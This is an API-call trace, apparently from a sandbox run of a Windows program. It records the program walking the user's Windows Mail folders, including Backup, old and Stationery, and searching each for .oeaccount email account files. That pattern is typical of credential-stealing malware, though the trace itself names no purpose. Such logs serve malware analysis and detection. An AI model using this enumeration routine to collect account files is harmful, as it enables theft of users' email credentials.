	[0094.779] strcmp (_Str1="..", _Str2="..") returned 0
	[0094.779] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0094.779] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.779] strlen (_Str="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 0x37
	[0094.779] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.779] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.779] _mbscat (in: param_1=0x18f4f8, param_2=0x413044 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.779] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.779] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0094.779] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.779] strlen (_Str="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned 0x37
	[0094.779] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.779] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.779] _mbscat (in: param_1=0x18f4f8, param_2=0x413044 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.779] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.779] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0094.779] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.779] strlen (_Str="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned 0x37
	[0094.779] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.779] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.779] _mbscat (in: param_1=0x18f4f8, param_2=0x413044 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.780] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.780] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0094.780] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.780] strlen (_Str="Backup") returned 0x6
	[0094.780] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.780] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.780] _mbscat (in: param_1=0x18f4f8, param_2=0x413044 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.780] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.780] strcmp (_Str1="Backup", _Str2="..") returned 1
	[0094.780] strcmp (_Str1="Backup", _Str2=".") returned 1
	[0094.780] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d
	[0094.780] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d
	[0094.780] strlen (_Str="*.oeaccount") returned 0xb
	[0094.780] _mbscpy (in: param_1=0x18e32c, param_2=0x18e6f4 | out: param_1=0x18e32c) returned 0x18e32c
	[0094.780] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d
	[0094.780] _mbscat (in: param_1=0x18e32c, param_2=0x413044 | out: param_1=0x18e32c) returned 0x18e32c
	[0094.780] _mbscat (in: param_1=0x18e32c, param_2=0x41445c | out: param_1=0x18e32c) returned 0x18e32c
	[0094.780] FindFirstFileA (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*.oeaccount", lpFindFileData=0x18e470 | out: lpFindFileData=0x18e470) returned 0xffffffff
	[0094.780] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d
	[0094.780] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d
	[0094.780] strlen (_Str="*.*") returned 0x3
	[0094.780] _mbscpy (in: param_1=0x18e83c, param_2=0x18ec04 | out: param_1=0x18e83c) returned 0x18e83c
	[0094.780] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d
	[0094.780] _mbscat (in: param_1=0x18e83c, param_2=0x413044 | out: param_1=0x18e83c) returned 0x18e83c
	[0094.780] _mbscat (in: param_1=0x18e83c, param_2=0x413744 | out: param_1=0x18e83c) returned 0x18e83c
	[0094.780] FindFirstFileA (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*.*", lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 0x59f108
	[0094.780] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d
	[0094.780] strlen (_Str=".") returned 0x1
	[0094.780] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.780] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d
	[0094.780] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.780] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.780] strcmp (_Str1=".", _Str2="..") returned -1
	[0094.780] strcmp (_Str1=".", _Str2=".") returned 0
	[0094.780] FindNextFileA (in: hFindFile=0x59f108, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0094.780] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d
	[0094.780] strlen (_Str="..") returned 0x2
	[0094.780] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.781] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d
	[0094.781] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.781] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.781] strcmp (_Str1="..", _Str2="..") returned 0
	[0094.781] FindNextFileA (in: hFindFile=0x59f108, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0094.781] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d
	[0094.781] strlen (_Str="old") returned 0x3
	[0094.781] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.781] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d
	[0094.781] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.781] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.781] strcmp (_Str1="old", _Str2="..") returned 1
	[0094.781] strcmp (_Str1="old", _Str2=".") returned 1
	[0094.781] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41
	[0094.781] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41
	[0094.781] strlen (_Str="*.oeaccount") returned 0xb
	[0094.781] _mbscpy (in: param_1=0x18d8f4, param_2=0x18dcbc | out: param_1=0x18d8f4) returned 0x18d8f4
	[0094.781] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41
	[0094.781] _mbscat (in: param_1=0x18d8f4, param_2=0x413044 | out: param_1=0x18d8f4) returned 0x18d8f4
	[0094.781] _mbscat (in: param_1=0x18d8f4, param_2=0x41445c | out: param_1=0x18d8f4) returned 0x18d8f4
	[0094.781] FindFirstFileA (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\*.oeaccount", lpFindFileData=0x18da38 | out: lpFindFileData=0x18da38) returned 0xffffffff
	[0094.781] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41
	[0094.781] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41
	[0094.781] strlen (_Str="*.*") returned 0x3
	[0094.781] _mbscpy (in: param_1=0x18de04, param_2=0x18e1cc | out: param_1=0x18de04) returned 0x18de04
	[0094.781] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41
	[0094.781] _mbscat (in: param_1=0x18de04, param_2=0x413044 | out: param_1=0x18de04) returned 0x18de04
	[0094.781] _mbscat (in: param_1=0x18de04, param_2=0x413744 | out: param_1=0x18de04) returned 0x18de04
	[0094.781] FindFirstFileA (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\*.*", lpFindFileData=0x18df48 | out: lpFindFileData=0x18df48) returned 0x5a15c0
	[0094.781] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41
	[0094.781] strlen (_Str=".") returned 0x1
	[0094.781] _mbscpy (in: param_1=0x18e088, param_2=0x18e1cc | out: param_1=0x18e088) returned 0x18e088
	[0094.781] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41
	[0094.781] _mbscat (in: param_1=0x18e088, param_2=0x413044 | out: param_1=0x18e088) returned 0x18e088
	[0094.781] _mbscat (in: param_1=0x18e088, param_2=0x18df74 | out: param_1=0x18e088) returned 0x18e088
	[0094.781] strcmp (_Str1=".", _Str2="..") returned -1
	[0094.781] strcmp (_Str1=".", _Str2=".") returned 0
	[0094.781] FindNextFileA (in: hFindFile=0x5a15c0, lpFindFileData=0x18df48 | out: lpFindFileData=0x18df48) returned 1
	[0094.781] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41
	[0094.781] strlen (_Str="..") returned 0x2
	[0094.781] _mbscpy (in: param_1=0x18e088, param_2=0x18e1cc | out: param_1=0x18e088) returned 0x18e088
	[0094.781] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41
	[0094.782] _mbscat (in: param_1=0x18e088, param_2=0x413044 | out: param_1=0x18e088) returned 0x18e088
	[0094.782] _mbscat (in: param_1=0x18e088, param_2=0x18df74 | out: param_1=0x18e088) returned 0x18e088
	[0094.782] strcmp (_Str1="..", _Str2="..") returned 0
	[0094.782] FindNextFileA (in: hFindFile=0x5a15c0, lpFindFileData=0x18df48 | out: lpFindFileData=0x18df48) returned 1
	[0094.782] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41
	[0094.782] strlen (_Str="edb00001.log") returned 0xc
	[0094.782] _mbscpy (in: param_1=0x18e088, param_2=0x18e1cc | out: param_1=0x18e088) returned 0x18e088
	[0094.782] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41
	[0094.782] _mbscat (in: param_1=0x18e088, param_2=0x413044 | out: param_1=0x18e088) returned 0x18e088
	[0094.782] _mbscat (in: param_1=0x18e088, param_2=0x18df74 | out: param_1=0x18e088) returned 0x18e088
	[0094.782] FindNextFileA (in: hFindFile=0x5a15c0, lpFindFileData=0x18df48 | out: lpFindFileData=0x18df48) returned 1
	[0094.782] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41
	[0094.782] strlen (_Str="WindowsMail.MSMessageStore") returned 0x1a
	[0094.782] _mbscpy (in: param_1=0x18e088, param_2=0x18e1cc | out: param_1=0x18e088) returned 0x18e088
	[0094.782] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41
	[0094.782] _mbscat (in: param_1=0x18e088, param_2=0x413044 | out: param_1=0x18e088) returned 0x18e088
	[0094.782] _mbscat (in: param_1=0x18e088, param_2=0x18df74 | out: param_1=0x18e088) returned 0x18e088
	[0094.782] FindNextFileA (in: hFindFile=0x5a15c0, lpFindFileData=0x18df48 | out: lpFindFileData=0x18df48) returned 1
	[0094.782] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41
	[0094.782] strlen (_Str="WindowsMail.pat") returned 0xf
	[0094.782] _mbscpy (in: param_1=0x18e088, param_2=0x18e1cc | out: param_1=0x18e088) returned 0x18e088
	[0094.782] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41
	[0094.782] _mbscat (in: param_1=0x18e088, param_2=0x413044 | out: param_1=0x18e088) returned 0x18e088
	[0094.782] _mbscat (in: param_1=0x18e088, param_2=0x18df74 | out: param_1=0x18e088) returned 0x18e088
	[0094.782] FindNextFileA (in: hFindFile=0x5a15c0, lpFindFileData=0x18df48 | out: lpFindFileData=0x18df48) returned 0
	[0094.782] FindClose (in: hFindFile=0x5a15c0 | out: hFindFile=0x5a15c0) returned 1
	[0094.782] FindNextFileA (in: hFindFile=0x59f108, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 0
	[0094.782] FindClose (in: hFindFile=0x59f108 | out: hFindFile=0x59f108) returned 1
	[0094.782] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0094.782] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.782] strlen (_Str="edb.chk") returned 0x7
	[0094.782] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.782] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.782] _mbscat (in: param_1=0x18f4f8, param_2=0x413044 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.782] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.782] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0094.782] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.782] strlen (_Str="edb.log") returned 0x7
	[0094.782] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.782] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.782] _mbscat (in: param_1=0x18f4f8, param_2=0x413044 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.782] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.782] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0094.782] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.782] strlen (_Str="edb00001.log") returned 0xc
	[0094.782] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.782] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.782] _mbscat (in: param_1=0x18f4f8, param_2=0x413044 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.782] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.782] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0094.782] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.782] strlen (_Str="edb00002.log") returned 0xc
	[0094.783] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.783] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.783] _mbscat (in: param_1=0x18f4f8, param_2=0x413044 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.783] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.783] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0094.783] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.783] strlen (_Str="edbres00001.jrs") returned 0xf
	[0094.783] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.783] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.783] _mbscat (in: param_1=0x18f4f8, param_2=0x413044 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.783] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.783] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0094.783] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.783] strlen (_Str="edbres00002.jrs") returned 0xf
	[0094.783] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.783] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.783] _mbscat (in: param_1=0x18f4f8, param_2=0x413044 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.783] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.783] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0094.783] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.783] strlen (_Str="oeold.xml") returned 0x9
	[0094.783] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.783] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.783] _mbscat (in: param_1=0x18f4f8, param_2=0x413044 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.783] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.783] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0094.783] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.783] strlen (_Str="Stationery") returned 0xa
	[0094.783] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.783] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.783] _mbscat (in: param_1=0x18f4f8, param_2=0x413044 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.783] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.783] strcmp (_Str1="Stationery", _Str2="..") returned 1
	[0094.783] strcmp (_Str1="Stationery", _Str2=".") returned 1
	[0094.783] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.783] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.783] strlen (_Str="*.oeaccount") returned 0xb
	[0094.783] _mbscpy (in: param_1=0x18e32c, param_2=0x18e6f4 | out: param_1=0x18e32c) returned 0x18e32c
	[0094.783] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.783] _mbscat (in: param_1=0x18e32c, param_2=0x413044 | out: param_1=0x18e32c) returned 0x18e32c
	[0094.783] _mbscat (in: param_1=0x18e32c, param_2=0x41445c | out: param_1=0x18e32c) returned 0x18e32c
	[0094.783] FindFirstFileA (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*.oeaccount", lpFindFileData=0x18e470 | out: lpFindFileData=0x18e470) returned 0xffffffff
	[0094.821] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.821] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.821] strlen (_Str="*.*") returned 0x3
	[0094.821] _mbscpy (in: param_1=0x18e83c, param_2=0x18ec04 | out: param_1=0x18e83c) returned 0x18e83c
	[0094.821] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.821] _mbscat (in: param_1=0x18e83c, param_2=0x413044 | out: param_1=0x18e83c) returned 0x18e83c
	[0094.821] _mbscat (in: param_1=0x18e83c, param_2=0x413744 | out: param_1=0x18e83c) returned 0x18e83c
	[0094.821] FindFirstFileA (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*.*", lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 0x59f110
	[0094.822] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.822] strlen (_Str=".") returned 0x1
	[0094.822] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.822] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.822] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.822] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.822] strcmp (_Str1=".", _Str2="..") returned -1
	[0094.822] strcmp (_Str1=".", _Str2=".") returned 0
	[0094.822] FindNextFileA (in: hFindFile=0x59f110, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0094.822] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.822] strlen (_Str="..") returned 0x2
	[0094.822] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.822] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.822] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.822] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.822] strcmp (_Str1="..", _Str2="..") returned 0
	[0094.822] FindNextFileA (in: hFindFile=0x59f110, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0094.822] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.822] strlen (_Str="Bears.htm") returned 0x9
	[0094.822] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.822] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.822] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.822] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.822] FindNextFileA (in: hFindFile=0x59f110, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0094.822] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.822] strlen (_Str="Bears.jpg") returned 0x9
	[0094.822] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.822] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.822] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.822] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] FindNextFileA (in: hFindFile=0x59f110, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0094.823] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.823] strlen (_Str="Desktop.ini") returned 0xb
	[0094.823] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.823] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] FindNextFileA (in: hFindFile=0x59f110, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0094.823] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.823] strlen (_Str="Garden.htm") returned 0xa
	[0094.823] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.823] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] FindNextFileA (in: hFindFile=0x59f110, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0094.823] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.823] strlen (_Str="Garden.jpg") returned 0xa
	[0094.823] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.823] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] FindNextFileA (in: hFindFile=0x59f110, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
